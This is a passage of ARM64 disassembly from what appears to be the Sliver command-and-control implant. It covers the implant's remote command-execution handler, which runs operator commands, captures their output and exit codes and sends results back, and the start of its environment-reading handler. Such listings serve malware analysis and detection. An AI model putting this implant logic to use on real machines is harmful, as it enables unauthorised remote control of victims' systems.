    004fd290add x2, x2, 3136
    004fd294str x2, [x1]
    004fd298ldrsb x27, [x1]
    004fd29cldr x2, [sp+1280]
    004fd2a0adrp x27, 0x54e000
    004fd2a4ldr w3, [x27+3056]
    004fd2a8cbz w3, 0x4fd2b0
    004fd2acb 0x4fd2b4
    004fd2b0
    004fd2b0loc_4fd2b0:
    004fd2b0b 0x4fd2c8
    004fd2b4
    004fd2b4loc_4fd2b4:
    004fd2b4bl runtime.gcWriteBarrier2
    004fd2b8str x2, [x25]
    004fd2bcldr x3, [x1+8]
    004fd2c0str x3, [x25+8]
    004fd2c4b 0x4fd2c8
    004fd2c8
    004fd2c8loc_4fd2c8:
    004fd2c8str x2, [x1+8]
    004fd2ccstr x1, [sp+96]
    004fd2d0add x0, sp, 72
    004fd2d4bl runtime.deferprocStack
    004fd2d8subs xzr, x0, 0
    004fd2dcb.ne 0x4fd3e0
    004fd2e0b 0x4fd2e4
    004fd2e4
    004fd2e4loc_4fd2e4:
    004fd2e4ldr x1, [sp+168]
    004fd2e8str x1, [sp+1152]
    004fd2ecadrp x0, 0x216000
    004fd2f0add x0, x0, 2168
    004fd2f4bl bufio.NewWriter
    004fd2f8str x0, [sp+232]
    004fd2fcstr x0, [sp+1144]
    004fd300ldr x2, [sp+176]
    004fd304str x2, [sp+1160]
    004fd308add x27, sp, 1112
    004fd30cstp xzr, xzr, [x27]
    004fd310add x27, sp, 1128
    004fd314stp xzr, xzr, [x27]
    004fd318add x2, sp, 1112
    004fd31cstr x2, [sp+584]
    004fd320ldr x2, [sp+1144]
    004fd324str x2, [sp+576]
    004fd328ldr x3, [sp+584]
    004fd32cldrsb x27, [x3]
    004fd330adrp x4, 0x217000
    004fd334add x4, x4, 416
    004fd338str x4, [x3]
    004fd33cadrp x27, 0x54e000
    004fd340ldr w4, [x27+3056]
    004fd344cbz w4, 0x4fd34c
    004fd348b 0x4fd350
    004fd34c
    004fd34cloc_4fd34c:
    004fd34cb 0x4fd364
    004fd350
    004fd350loc_4fd350:
    004fd350bl runtime.gcWriteBarrier2
    004fd354str x2, [x25]
    004fd358ldr x4, [x3+8]
    004fd35cstr x4, [x25+8]
    004fd360b 0x4fd364
    004fd364
    004fd364loc_4fd364:
    004fd364str x2, [x3+8]
    004fd368ldr x3, [sp+1160]
    004fd36cstr x3, [sp+568]
    004fd370ldr x4, [sp+584]
    004fd374ldrsb x27, [x4]
    004fd378adrp x5, 0x216000
    004fd37cadd x5, x5, 2976
    004fd380str x5, [x4+16]
    004fd384adrp x27, 0x54e000
    004fd388ldr w5, [x27+3056]
    004fd38ccbz w5, 0x4fd394
    004fd390b 0x4fd398
    004fd394
    004fd394loc_4fd394:
    004fd394b 0x4fd3ac
    004fd398
    004fd398loc_4fd398:
    004fd398bl runtime.gcWriteBarrier2
    004fd39cstr x3, [x25]
    004fd3a0ldr x5, [x4+24]
    004fd3a4str x5, [x25+8]
    004fd3a8b 0x4fd3ac
    004fd3ac
    004fd3acloc_4fd3ac:
    004fd3acstr x3, [x4+24]
    004fd3b0ldr x0, [sp+584]
    004fd3b4ldrsb x27, [x0]
    004fd3b8b 0x4fd3bc
    004fd3bc
    004fd3bcloc_4fd3bc:
    004fd3bcstr x0, [sp+592]
    004fd3c0orr x2, xzr, 2
    004fd3c4str x2, [sp+600]
    004fd3c8str x2, [sp+608]
    004fd3ccmov x1, x2
    004fd3d0bl io.MultiWriter
    004fd3d4str x0, [sp+184]
    004fd3d8str x1, [sp+192]
    004fd3dcb 0x4fd3f4
    004fd3e0
    004fd3e0loc_4fd3e0:
    004fd3e0bl runtime.deferreturn
    004fd3e4ldp x29, x30, [sp-8]
    004fd3e8add sp, sp, 1408
    004fd3ecret x30
    004fd3f0
    004fd3f0loc_4fd3f0:
    004fd3f0b 0x4fd3f4
    004fd3f4
    004fd3f4loc_4fd3f4:
    004fd3f4ldr x1, [sp+352]
    004fd3f8ldrsb x27, [x1]
    004fd3fcldr x2, [sp+192]
    004fd400ldr x3, [sp+184]
    004fd404str x3, [x1+96]
    004fd408adrp x27, 0x54e000
    004fd40cldr w3, [x27+3056]
    004fd410cbz w3, 0x4fd418
    004fd414b 0x4fd41c
    004fd418
    004fd418loc_4fd418:
    004fd418b 0x4fd430
    004fd41c
    004fd41cloc_4fd41c:
    004fd41cbl runtime.gcWriteBarrier2
    004fd420str x2, [x25]
    004fd424ldr x3, [x1+104]
    004fd428str x3, [x25+8]
    004fd42cb 0x4fd430
    004fd430
    004fd430loc_4fd430:
    004fd430str x2, [x1+104]
    004fd434ldr x1, [sp+352]
    004fd438ldrsb x27, [x1]
    004fd43cldr x2, [sp+224]
    004fd440ldr x3, [sp+216]
    004fd444str x3, [x1+112]
    004fd448adrp x27, 0x54e000
    004fd44cldr w3, [x27+3056]
    004fd450cbz w3, 0x4fd458
    004fd454b 0x4fd45c
    004fd458
    004fd458loc_4fd458:
    004fd458b 0x4fd470
    004fd45c
    004fd45cloc_4fd45c:
    004fd45cbl runtime.gcWriteBarrier2
    004fd460str x2, [x25]
    004fd464ldr x3, [x1+120]
    004fd468str x3, [x25+8]
    004fd46cb 0x4fd470
    004fd470
    004fd470loc_4fd470:
    004fd470str x2, [x1+120]
    004fd474ldr x0, [sp+352]
    004fd478bl os/exec.(*Cmd).Run
    004fd47cstr x0, [sp+288]
    004fd480str x1, [sp+296]
    004fd484ldr x0, [sp+176]
    004fd488bl bytes.(*Buffer).String
    004fd48cstr x0, [sp+1192]
    004fd490str x1, [sp+1200]
    004fd494add x27, sp, 1080
    004fd498stp xzr, xzr, [x27]
    004fd49cadd x27, sp, 1096
    004fd4a0stp xzr, xzr, [x27]
    004fd4a4add x1, sp, 1080
    004fd4a8str x1, [sp+536]
    004fd4acldr x1, [sp+288]
    004fd4b0ldr x2, [sp+296]
    004fd4b4str x1, [sp+520]
    004fd4b8str x2, [sp+528]
    004fd4bcstr x1, [sp+512]
    004fd4c0ldr x1, [sp+512]
    004fd4c4cbnz x1, 0x4fd4cc
    004fd4c8b 0x4fd4dc
    004fd4cc
    004fd4ccloc_4fd4cc:
    004fd4ccldr x2, [sp+512]
    004fd4d0ldr x2, [x2+8]
    004fd4d4str x2, [sp+512]
    004fd4d8b 0x4fd4e0
    004fd4dc
    004fd4dcloc_4fd4dc:
    004fd4dcb 0x4fd4e0
    004fd4e0
    004fd4e0loc_4fd4e0:
    004fd4e0ldr x2, [sp+536]
    004fd4e4ldrsb x27, [x2]
    004fd4e8ldr x3, [sp+512]
    004fd4ecldr x4, [sp+528]
    004fd4f0str x3, [x2]
    004fd4f4adrp x27, 0x54e000
    004fd4f8ldr w3, [x27+3056]
    004fd4fccbz w3, 0x4fd504
    004fd500b 0x4fd508
    004fd504
    004fd504loc_4fd504:
    004fd504b 0x4fd51c
    004fd508
    004fd508loc_4fd508:
    004fd508bl runtime.gcWriteBarrier2
    004fd50cstr x4, [x25]
    004fd510ldr x3, [x2+8]
    004fd514str x3, [x25+8]
    004fd518b 0x4fd51c
    004fd51c
    004fd51cloc_4fd51c:
    004fd51cstr x4, [x2+8]
    004fd520ldr x0, [sp+1192]
    004fd524ldr x1, [sp+1200]
    004fd528bl runtime.convTstring
    004fd52cstr x0, [sp+504]
    004fd530ldr x2, [sp+536]
    004fd534ldrsb x27, [x2]
    004fd538adrp x3, 0xf8000
    004fd53cadd x3, x3, 2944
    004fd540str x3, [x2+16]
    004fd544adrp x27, 0x54e000
    004fd548ldr w3, [x27+3056]
    004fd54ccbz w3, 0x4fd554
    004fd550b 0x4fd558
    004fd554
    004fd554loc_4fd554:
    004fd554b 0x4fd56c
    004fd558
    004fd558loc_4fd558:
    004fd558bl runtime.gcWriteBarrier2
    004fd55cstr x0, [x25]
    004fd560ldr x5, [x2+24]
    004fd564str x5, [x25+8]
    004fd568b 0x4fd56c
    004fd56c
    004fd56cloc_4fd56c:
    004fd56cstr x0, [x2+24]
    004fd570ldr x2, [sp+536]
    004fd574ldrsb x27, [x2]
    004fd578b 0x4fd57c
    004fd57c
    004fd57cloc_4fd57c:
    004fd57cstr x2, [sp+544]
    004fd580orr x4, xzr, 2
    004fd584str x4, [sp+552]
    004fd588str x4, [sp+560]
    004fd58cadrp x0, 0x1b6000
    004fd590add x0, x0, 1927
    004fd594movz x1, 13
    004fd598mov x3, x4
    004fd59cbl log.Printf
    004fd5a0ldr x5, [sp+288]
    004fd5a4cbnz x5, 0x4fd5ac
    004fd5a8b 0x4fd7cc
    004fd5ac
    004fd5acloc_4fd5ac:
    004fd5acstr xzr, [sp+1072]
    004fd5b0ldr x5, [sp+288]
    004fd5b4ldr x6, [sp+296]
    004fd5b8adrp x7, 0x217000
    004fd5bcadd x7, x7, 448
    004fd5c0subs xzr, x5, x7
    004fd5c4b.eq 0x4fd5cc
    004fd5c8b 0x4fd5d4
    004fd5cc
    004fd5ccloc_4fd5cc:
    004fd5ccorr x0, xzr, 1
    004fd5d0b 0x4fd5e0
    004fd5d4
    004fd5d4loc_4fd5d4:
    004fd5d4mov x0, xzr
    004fd5d8mov x6, xzr
    004fd5dcb 0x4fd5e0
    004fd5e0
    004fd5e0loc_4fd5e0:
    004fd5e0str x6, [sp+1072]
    004fd5e4strb w0, [sp+62]
    004fd5e8ldr x5, [sp+1072]
    004fd5ecstr x5, [sp+1272]
    004fd5f0ldrb w5, [sp+62]
    004fd5f4strb w5, [sp+63]
    004fd5f8ldr x5, [sp+1272]
    004fd5fcstr x5, [sp+240]
    004fd600ldrb w5, [sp+63]
    004fd604strb w5, [sp+61]
    004fd608tbnz w5, 0, 0x4fd610
    004fd60cb 0x4fd638
    004fd610
    004fd610loc_4fd610:
    004fd610ldr x1, [sp+240]
    004fd614ldrsb x27, [x1]
    004fd618ldr x0, [x1]
    004fd61cstr x0, [sp+496]
    004fd620bl os.(*ProcessState).ExitCode
    004fd624str x0, [sp+64]
    004fd628ldr x1, [sp+248]
    004fd62cldrsb x27, [x1]
    004fd630str w0, [x1+8]
    004fd634b 0x4fd7c8
    004fd638
    004fd638loc_4fd638:
    004fd638add x27, sp, 1208
    004fd63cstp xzr, xzr, [x27]
    004fd640add x5, sp, 1208
    004fd644str x5, [sp+464]
    004fd648ldr x5, [sp+288]
    004fd64cldr x6, [sp+296]
    004fd650str x5, [sp+448]
    004fd654str x6, [sp+456]
    004fd658str x5, [sp+440]
    004fd65cldr x5, [sp+440]
    004fd660cbnz x5, 0x4fd668
    004fd664b 0x4fd678
    004fd668
    004fd668loc_4fd668:
    004fd668ldr x5, [sp+440]
    004fd66cldr x5, [x5+8]
    004fd670str x5, [sp+440]
    004fd674b 0x4fd67c
    004fd678
    004fd678loc_4fd678:
    004fd678b 0x4fd67c
    004fd67c
    004fd67cloc_4fd67c:
    004fd67cldr x5, [sp+464]
    004fd680ldrsb x27, [x5]
    004fd684ldr x6, [sp+440]
    004fd688ldr x7, [sp+456]
    004fd68cstr x6, [x5]
    004fd690adrp x27, 0x54e000
    004fd694ldr w6, [x27+3056]
    004fd698cbz w6, 0x4fd6a0
    004fd69cb 0x4fd6a4
    004fd6a0
    004fd6a0loc_4fd6a0:
    004fd6a0b 0x4fd6b8
    004fd6a4
    004fd6a4loc_4fd6a4:
    004fd6a4bl runtime.gcWriteBarrier2
    004fd6a8str x7, [x25]
    004fd6acldr x6, [x5+8]
    004fd6b0str x6, [x25+8]
    004fd6b4b 0x4fd6b8
    004fd6b8
    004fd6b8loc_4fd6b8:
    004fd6b8str x7, [x5+8]
    004fd6bcldr x2, [sp+464]
    004fd6c0ldrsb x27, [x2]
    004fd6c4b 0x4fd6c8
    004fd6c8
    004fd6c8loc_4fd6c8:
    004fd6c8str x2, [sp+472]
    004fd6ccorr x4, xzr, 1
    004fd6d0str x4, [sp+480]
    004fd6d4str x4, [sp+488]
    004fd6d8adrp x0, 0x1b3000
    004fd6dcadd x0, x0, 17
    004fd6e0orr x1, xzr, 2
    004fd6e4mov x3, x4
    004fd6e8bl fmt.Sprintf
    004fd6ecstr x0, [sp+1192]
    004fd6f0str x1, [sp+1200]
    004fd6f4adrp x0, 0x188000
    004fd6f8add x0, x0, 3648
    004fd6fcbl runtime.newobject
    004fd700str x0, [sp+432]
    004fd704adrp x27, 0x54e000
    004fd708ldr w5, [x27+3056]
    004fd70ccbz w5, 0x4fd714
    004fd710b 0x4fd718
    004fd714
    004fd714loc_4fd714:
    004fd714b 0x4fd734
    004fd718
    004fd718loc_4fd718:
    004fd718str x0, [sp+1360]
    004fd71cmov x1, x0
    004fd720adrp x0, 0x188000
    004fd724add x0, x0, 3648
    004fd728bl runtime.wbZero
    004fd72cldr x0, [sp+1360]
    004fd730b 0x4fd734
    004fd734
    004fd734loc_4fd734:
    004fd734mov x20, x0
    004fd738adr x27, 16
    004fd73cstp x29, x27, [sp-24]
    004fd740sub x29, sp, 24
    004fd744bl fn_87cf8
    004fd748sub x29, sp, 8
    004fd74cldr x1, [sp+432]
    004fd750ldrsb x27, [x1]
    004fd754ldr x2, [sp+1192]
    004fd758ldr x3, [sp+1200]
    004fd75cstr x3, [x1+16]
    004fd760adrp x27, 0x54e000
    004fd764ldr w3, [x27+3056]
    004fd768cbz w3, 0x4fd770
    004fd76cb 0x4fd774
    004fd770
    004fd770loc_4fd770:
    004fd770b 0x4fd788
    004fd774
    004fd774loc_4fd774:
    004fd774bl runtime.gcWriteBarrier2
    004fd778str x2, [x25]
    004fd77cldr x3, [x1+8]
    004fd780str x3, [x25+8]
    004fd784b 0x4fd788
    004fd788
    004fd788loc_4fd788:
    004fd788str x2, [x1+8]
    004fd78cldr x1, [sp+248]
    004fd790ldrsb x27, [x1]
    004fd794ldr x2, [sp+432]
    004fd798adrp x27, 0x54e000
    004fd79cldr w3, [x27+3056]
    004fd7a0cbz w3, 0x4fd7a8
    004fd7a4b 0x4fd7ac
    004fd7a8
    004fd7a8loc_4fd7a8:
    004fd7a8b 0x4fd7c0
    004fd7ac
    004fd7acloc_4fd7ac:
    004fd7acbl runtime.gcWriteBarrier2
    004fd7b0str x2, [x25]
    004fd7b4ldr x3, [x1+72]
    004fd7b8str x3, [x25+8]
    004fd7bcb 0x4fd7c0
    004fd7c0
    004fd7c0loc_4fd7c0:
    004fd7c0str x2, [x1+72]
    004fd7c4b 0x4fd7c8
    004fd7c8
    004fd7c8loc_4fd7c8:
    004fd7c8b 0x4fd7d0
    004fd7cc
    004fd7ccloc_4fd7cc:
    004fd7ccb 0x4fd7d0
    004fd7d0
    004fd7d0loc_4fd7d0:
    004fd7d0ldr x1, [sp+280]
    004fd7d4cbnz x1, 0x4fd7dc
    004fd7d8b 0x4fd7e8
    004fd7dc
    004fd7dcloc_4fd7dc:
    004fd7dcldr x0, [sp+280]
    004fd7e0bl bufio.(*Writer).Flush
    004fd7e4b 0x4fd7ec
    004fd7e8
    004fd7e8loc_4fd7e8:
    004fd7e8b 0x4fd7ec
    004fd7ec
    004fd7ecloc_4fd7ec:
    004fd7ecldr x1, [sp+232]
    004fd7f0cbnz x1, 0x4fd7f8
    004fd7f4b 0x4fd804
    004fd7f8
    004fd7f8loc_4fd7f8:
    004fd7f8ldr x0, [sp+232]
    004fd7fcbl bufio.(*Writer).Flush
    004fd800b 0x4fd808
    004fd804
    004fd804loc_4fd804:
    004fd804b 0x4fd808
    004fd808
    004fd808loc_4fd808:
    004fd808ldr x0, [sp+208]
    004fd80cbl bytes.(*Buffer).Bytes
    004fd810str x0, [sp+1048]
    004fd814str x1, [sp+1056]
    004fd818str x2, [sp+1064]
    004fd81cldr x3, [sp+248]
    004fd820ldrsb x27, [x3]
    004fd824str x1, [x3+48]
    004fd828str x2, [x3+56]
    004fd82cadrp x27, 0x54e000
    004fd830ldr w1, [x27+3056]
    004fd834cbz w1, 0x4fd83c
    004fd838b 0x4fd840
    004fd83c
    004fd83cloc_4fd83c:
    004fd83cb 0x4fd854
    004fd840
    004fd840loc_4fd840:
    004fd840bl runtime.gcWriteBarrier2
    004fd844str x0, [x25]
    004fd848ldr x1, [x3+40]
    004fd84cstr x1, [x25+8]
    004fd850b 0x4fd854
    004fd854
    004fd854loc_4fd854:
    004fd854str x0, [x3+40]
    004fd858ldr x0, [sp+176]
    004fd85cbl bytes.(*Buffer).Bytes
    004fd860str x0, [sp+1048]
    004fd864str x1, [sp+1056]
    004fd868str x2, [sp+1064]
    004fd86cldr x3, [sp+248]
    004fd870ldrsb x27, [x3]
    004fd874str x1, [x3+24]
    004fd878str x2, [x3+32]
    004fd87cadrp x27, 0x54e000
    004fd880ldr w1, [x27+3056]
    004fd884cbz w1, 0x4fd88c
    004fd888b 0x4fd890
    004fd88c
    004fd88cloc_4fd88c:
    004fd88cb 0x4fd8a4
    004fd890
    004fd890loc_4fd890:
    004fd890bl runtime.gcWriteBarrier2
    004fd894str x0, [x25]
    004fd898ldr x2, [x3+16]
    004fd89cstr x2, [x25+8]
    004fd8a0b 0x4fd8a4
    004fd8a4
    004fd8a4loc_4fd8a4:
    004fd8a4str x0, [x3+16]
    004fd8a8ldr x2, [sp+352]
    004fd8acldrsb x27, [x2]
    004fd8b0ldr x2, [x2+160]
    004fd8b4cbnz x2, 0x4fd8bc
    004fd8b8b 0x4fd8e0
    004fd8bc
    004fd8bcloc_4fd8bc:
    004fd8bcldr x2, [sp+248]
    004fd8c0ldrsb x27, [x2]
    004fd8c4ldr x3, [sp+352]
    004fd8c8ldrsb x27, [x3]
    004fd8ccldr x3, [x3+160]
    004fd8d0ldrsb x27, [x3]
    004fd8d4ldr x3, [x3]
    004fd8d8str w3, [x2+64]
    004fd8dcb 0x4fd8e4
    004fd8e0
    004fd8e0loc_4fd8e0:
    004fd8e0b 0x4fd8e4
    004fd8e4
    004fd8e4loc_4fd8e4:
    004fd8e4b 0x4fdb2c
    004fd8e8
    004fd8e8loc_4fd8e8:
    004fd8e8bl os/exec.(*Cmd).Start
    004fd8ecstr x0, [sp+336]
    004fd8f0str x1, [sp+344]
    004fd8f4cbnz x0, 0x4fd8fc
    004fd8f8b 0x4fda8c
    004fd8fc
    004fd8fcloc_4fd8fc:
    004fd8fcadd x27, sp, 1208
    004fd900stp xzr, xzr, [x27]
    004fd904add x5, sp, 1208
    004fd908str x5, [sp+400]
    004fd90cldr x5, [sp+336]
    004fd910ldr x6, [sp+344]
    004fd914str x5, [sp+384]
    004fd918str x6, [sp+392]
    004fd91cstr x5, [sp+376]
    004fd920ldr x5, [sp+376]
    004fd924cbnz x5, 0x4fd92c
    004fd928b 0x4fd93c
    004fd92c
    004fd92cloc_4fd92c:
    004fd92cldr x5, [sp+376]
    004fd930ldr x5, [x5+8]
    004fd934str x5, [sp+376]
    004fd938b 0x4fd940
    004fd93c
    004fd93cloc_4fd93c:
    004fd93cb 0x4fd940
    004fd940
    004fd940loc_4fd940:
    004fd940ldr x5, [sp+400]
    004fd944ldrsb x27, [x5]
    004fd948ldr x6, [sp+376]
    004fd94cldr x7, [sp+392]
    004fd950str x6, [x5]
    004fd954adrp x27, 0x54e000
    004fd958ldr w6, [x27+3056]
    004fd95ccbz w6, 0x4fd964
    004fd960b 0x4fd968
    004fd964
    004fd964loc_4fd964:
    004fd964b 0x4fd97c
    004fd968
    004fd968loc_4fd968:
    004fd968bl runtime.gcWriteBarrier2
    004fd96cstr x7, [x25]
    004fd970ldr x6, [x5+8]
    004fd974str x6, [x25+8]
    004fd978b 0x4fd97c
    004fd97c
    004fd97cloc_4fd97c:
    004fd97cstr x7, [x5+8]
    004fd980ldr x2, [sp+400]
    004fd984ldrsb x27, [x2]
    004fd988b 0x4fd98c
    004fd98c
    004fd98cloc_4fd98c:
    004fd98cstr x2, [sp+408]
    004fd990orr x4, xzr, 1
    004fd994str x4, [sp+416]
    004fd998str x4, [sp+424]
    004fd99cadrp x0, 0x1b3000
    004fd9a0add x0, x0, 17
    004fd9a4orr x1, xzr, 2
    004fd9a8mov x3, x4
    004fd9acbl fmt.Sprintf
    004fd9b0str x0, [sp+1192]
    004fd9b4str x1, [sp+1200]
    004fd9b8adrp x0, 0x188000
    004fd9bcadd x0, x0, 3648
    004fd9c0bl runtime.newobject
    004fd9c4str x0, [sp+368]
    004fd9c8adrp x27, 0x54e000
    004fd9ccldr w5, [x27+3056]
    004fd9d0cbz w5, 0x4fd9d8
    004fd9d4b 0x4fd9dc
    004fd9d8
    004fd9d8loc_4fd9d8:
    004fd9d8b 0x4fd9f8
    004fd9dc
    004fd9dcloc_4fd9dc:
    004fd9dcstr x0, [sp+1360]
    004fd9e0mov x1, x0
    004fd9e4adrp x0, 0x188000
    004fd9e8add x0, x0, 3648
    004fd9ecbl runtime.wbZero
    004fd9f0ldr x0, [sp+1360]
    004fd9f4b 0x4fd9f8
    004fd9f8
    004fd9f8loc_4fd9f8:
    004fd9f8mov x20, x0
    004fd9fcadr x27, 16
    004fda00stp x29, x27, [sp-24]
    004fda04sub x29, sp, 24
    004fda08bl fn_87cf8
    004fda0csub x29, sp, 8
    004fda10ldr x1, [sp+368]
    004fda14ldrsb x27, [x1]
    004fda18ldr x2, [sp+1192]
    004fda1cldr x3, [sp+1200]
    004fda20str x3, [x1+16]
    004fda24adrp x27, 0x54e000
    004fda28ldr w3, [x27+3056]
    004fda2ccbz w3, 0x4fda34
    004fda30b 0x4fda38
    004fda34
    004fda34loc_4fda34:
    004fda34b 0x4fda4c
    004fda38
    004fda38loc_4fda38:
    004fda38bl runtime.gcWriteBarrier2
    004fda3cstr x2, [x25]
    004fda40ldr x3, [x1+8]
    004fda44str x3, [x25+8]
    004fda48b 0x4fda4c
    004fda4c
    004fda4cloc_4fda4c:
    004fda4cstr x2, [x1+8]
    004fda50ldr x1, [sp+248]
    004fda54ldrsb x27, [x1]
    004fda58ldr x2, [sp+368]
    004fda5cadrp x27, 0x54e000
    004fda60ldr w3, [x27+3056]
    004fda64cbz w3, 0x4fda6c
    004fda68b 0x4fda70
    004fda6c
    004fda6cloc_4fda6c:
    004fda6cb 0x4fda84
    004fda70
    004fda70loc_4fda70:
    004fda70bl runtime.gcWriteBarrier2
    004fda74str x2, [x25]
    004fda78ldr x3, [x1+72]
    004fda7cstr x3, [x25+8]
    004fda80b 0x4fda84
    004fda84
    004fda84loc_4fda84:
    004fda84str x2, [x1+72]
    004fda88b 0x4fda90
    004fda8c
    004fda8cloc_4fda8c:
    004fda8cb 0x4fda90
    004fda90
    004fda90loc_4fda90:
    004fda90adrp x0, 0x134000
    004fda94add x0, x0, 3904
    004fda98bl runtime.newobject
    004fda9cstr x0, [sp+360]
    004fdaa0adrp x1, 0
    004fdaa4add x1, x1, 3072
    004fdaa8str x1, [x0]
    004fdaacldr x1, [sp+352]
    004fdab0ldr x2, [sp+360]
    004fdab4ldrsb x27, [x2]
    004fdab8adrp x27, 0x54e000
    004fdabcldr w3, [x27+3056]
    004fdac0cbz w3, 0x4fdac8
    004fdac4b 0x4fdacc
    004fdac8
    004fdac8loc_4fdac8:
    004fdac8b 0x4fdae0
    004fdacc
    004fdaccloc_4fdacc:
    004fdaccbl runtime.gcWriteBarrier2
    004fdad0str x1, [x25]
    004fdad4ldr x3, [x2+8]
    004fdad8str x3, [x25+8]
    004fdadcb 0x4fdae0
    004fdae0
    004fdae0loc_4fdae0:
    004fdae0str x1, [x2+8]
    004fdae4ldr x0, [sp+360]
    004fdae8bl runtime.newproc
    004fdaecldr x1, [sp+352]
    004fdaf0ldrsb x27, [x1]
    004fdaf4ldr x1, [x1+160]
    004fdaf8cbnz x1, 0x4fdb00
    004fdafcb 0x4fdb24
    004fdb00
    004fdb00loc_4fdb00:
    004fdb00ldr x2, [sp+248]
    004fdb04ldrsb x27, [x2]
    004fdb08ldr x3, [sp+352]
    004fdb0cldrsb x27, [x3]
    004fdb10ldr x3, [x3+160]
    004fdb14ldrsb x27, [x3]
    004fdb18ldr x3, [x3]
    004fdb1cstr w3, [x2+64]
    004fdb20b 0x4fdb28
    004fdb24
    004fdb24loc_4fdb24:
    004fdb24b 0x4fdb28
    004fdb28
    004fdb28loc_4fdb28:
    004fdb28b 0x4fdb2c
    004fdb2c
    004fdb2cloc_4fdb2c:
    004fdb2cldr x2, [sp+248]
    004fdb30str x2, [sp+1168]
    004fdb34str xzr, [sp+1048]
    004fdb38add x27, sp, 1056
    004fdb3cstp xzr, xzr, [x27]
    004fdb40add x27, sp, 1176
    004fdb44stp xzr, xzr, [x27]
    004fdb48ldr x1, [sp+1168]
    004fdb4cadrp x0, 0x217000
    004fdb50add x0, x0, 384
    004fdb54bl google.golang.org/protobuf/proto.Marshal
    004fdb58str x0, [sp+1048]
    004fdb5cstr x1, [sp+1056]
    004fdb60str x2, [sp+1064]
    004fdb64str x3, [sp+1176]
    004fdb68str x4, [sp+1184]
    004fdb6cldr x2, [sp+1048]
    004fdb70ldr x3, [sp+1056]
    004fdb74ldr x4, [sp+1064]
    004fdb78str x2, [sp+1248]
    004fdb7cstr x3, [sp+1256]
    004fdb80str x4, [sp+1264]
    004fdb84ldr x2, [sp+1176]
    004fdb88ldr x3, [sp+1184]
    004fdb8cstr x2, [sp+1232]
    004fdb90str x3, [sp+1240]
    004fdb94ldr x2, [sp+1248]
    004fdb98ldr x3, [sp+1256]
    004fdb9cldr x4, [sp+1264]
    004fdba0str x2, [sp+1416]
    004fdba4str x3, [sp+1424]
    004fdba8str x4, [sp+1432]
    004fdbacldr x3, [sp+1232]
    004fdbb0ldr x4, [sp+1240]
    004fdbb4str x3, [sp+336]
    004fdbb8str x4, [sp+344]
    004fdbbcldr x0, [sp+1416]
    004fdbc0ldr x1, [sp+1424]
    004fdbc4ldr x2, [sp+1432]
    004fdbc8ldr x26, [sp+1440]
    004fdbccldr x5, [x26]
    004fdbd0blr x5
    004fdbd4bl runtime.deferreturn
    004fdbd8ldp x29, x30, [sp-8]
    004fdbdcadd sp, sp, 1408
    004fdbe0ret x30
    004fdbe4
    004fdbe4loc_4fdbe4:
    004fdbe4stp x0, x1, [sp+8]
    004fdbe8stp x2, x3, [sp+24]
    004fdbecmov x3, x30
    004fdbf0bl runtime.morestack_noctxt.abi0
    004fdbf4ldp x0, x1, [sp+8]
    004fdbf8ldp x2, x3, [sp+24]
    004fdbfcb 0x4fc770
    004fc770
    004fdc00
    004fdc00github.com/bishopfox/sliver/implant/sliver/handlers.executeHandler.func1: ; void github.com/bishopfox/sliver/implant/sliver/handlers.executeHandler.func1(void)
    004fdc00ldr x16, [x28+16]
    004fdc04subs xzr, sp, x16
    004fdc08b.ls 0x4fdc30
    004fdc0cstr x30, [sp-32]!
    004fdc10stur x29, [sp-8]
    004fdc14sub x29, sp, 8
    004fdc18ldr x0, [x26+8]
    004fdc1cstr x0, [sp+16]
    004fdc20bl os/exec.(*Cmd).Wait
    004fdc24ldur x29, [sp-8]
    004fdc28ldr x30, [sp], 32
    004fdc2cret x30
    004fdc30
    004fdc30loc_4fdc30:
    004fdc30mov x3, x30
    004fdc34bl runtime.morestack.abi0
    004fdc38b 0x4fdc00
    004fdc3cudf 0
    004fdc00
    004fdc40
    004fdc40github.com/bishopfox/sliver/implant/sliver/handlers.executeHandler.deferwrap2: ; void github.com/bishopfox/sliver/implant/sliver/handlers.executeHandler.deferwrap2(void)
    004fdc40ldr x16, [x28+16]
    004fdc44subs xzr, sp, x16
    004fdc48b.ls 0x4fdc78
    004fdc4cstr x30, [sp-32]!
    004fdc50stur x29, [sp-8]
    004fdc54sub x29, sp, 8
    004fdc58ldr x16, [x28+32]
    004fdc5ccbnz x16, 0x4fdc84
    004fdc60
    004fdc60loc_4fdc60:
    004fdc60ldr x0, [x26+8]
    004fdc64str x0, [sp+16]
    004fdc68bl os.(*File).Close
    004fdc6cldur x29, [sp-8]
    004fdc70ldr x30, [sp], 32
    004fdc74ret x30
    004fdc78
    004fdc78loc_4fdc78:
    004fdc78mov x3, x30
    004fdc7cbl runtime.morestack.abi0
    004fdc80b 0x4fdc40
    004fdc84
    004fdc84loc_4fdc84:
    004fdc84ldr x17, [x16]
    004fdc88add x20, sp, 40
    004fdc8csubs xzr, x20, x17
    004fdc90b.ne 0x4fdc60
    004fdc94add x20, sp, 8
    004fdc98str x20, [x16]
    004fdc9cb 0x4fdc60
    004fdc40
    004fdca0
    004fdca0github.com/bishopfox/sliver/implant/sliver/handlers.executeHandler.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/handlers.executeHandler.deferwrap1(void)
    004fdca0ldr x16, [x28+16]
    004fdca4subs xzr, sp, x16
    004fdca8b.ls 0x4fdcd8
    004fdcacstr x30, [sp-32]!
    004fdcb0stur x29, [sp-8]
    004fdcb4sub x29, sp, 8
    004fdcb8ldr x16, [x28+32]
    004fdcbccbnz x16, 0x4fdce4
    004fdcc0
    004fdcc0loc_4fdcc0:
    004fdcc0ldr x0, [x26+8]
    004fdcc4str x0, [sp+16]
    004fdcc8bl os.(*File).Close
    004fdcccldur x29, [sp-8]
    004fdcd0ldr x30, [sp], 32
    004fdcd4ret x30
    004fdcd8
    004fdcd8loc_4fdcd8:
    004fdcd8mov x3, x30
    004fdcdcbl runtime.morestack.abi0
    004fdce0b 0x4fdca0
    004fdce4
    004fdce4loc_4fdce4:
    004fdce4ldr x17, [x16]
    004fdce8add x20, sp, 40
    004fdcecsubs xzr, x20, x17
    004fdcf0b.ne 0x4fdcc0
    004fdcf4add x20, sp, 8
    004fdcf8str x20, [x16]
    004fdcfcb 0x4fdcc0
    004fdca0
    004fdd00
    004fdd00github.com/bishopfox/sliver/implant/sliver/handlers.getEnvHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.getEnvHandler(struct []uint8 data, github.com/bishopfox/sliver/implant/sliver/handlers.RPCResponse resp)
    004fdd00ldr x16, [x28+16]
    004fdd04sub x17, sp, 368
    004fdd08subs xzr, x17, x16
    004fdd0cb.ls 0x4fe384
    004fdd10sub x20, sp, 496
